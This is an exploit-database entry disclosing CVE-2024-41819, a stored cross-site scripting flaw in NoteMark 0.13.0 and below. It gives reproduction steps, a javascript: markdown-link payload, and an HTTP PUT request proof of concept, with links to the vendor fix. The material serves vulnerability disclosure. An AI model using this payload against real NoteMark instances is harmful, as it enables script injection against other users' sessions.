Notemark < 0.13.0 stored xss Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2024-08-28 | Type : webapps | Platform : multiple

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[+] Code ...

# Exploit Title: Stored XSS in NoteMark
# Date: 07/29/2024
# Exploit Author: Alessio Romano (sfoffo)
# Vendor Homepage: https://notemark.docs.enchantedcode.co.uk/
# Version: 0.13.0 and below
# Tested on: Linux
# References:
https://notes.sfoffo.com/contributions/2024-contributions/cve-2024-41819,
https://github.com/enchant97/note-mark/commit/a0997facb82f85bfb8c0d497606d89e7d150e182,
https://github.com/enchant97/note-mark/security/advisories/GHSA-rm48-9mqf-8jc3
# CVE: CVE-2024-41819

## Steps to Reproduce
1. Log in to the application.
2. Create a new note or enter a previously created note.
3. Access the note editor functionality from the selected note by clicking
on the "Editor" tab.
4. Input the following payload:
[xss-link](javascript:alert(1))
5. Save the changes.
6. Click on the "Rendered" tab to view the rendered markdown version of the
note. Click on the previously created link to pop the injected alert.

## HTTP Request PoC

PUT /api/notes/<note-uuid>/content HTTP/1.1
Host: localhost:8000
Accept: */*
Content-Type: text/plain;charset=UTF-8
Content-Length: 34
Sec-Fetch-Site: same-origin
Authorization: Bearer <TOKEN>


[xss-link](javascript:alert(1))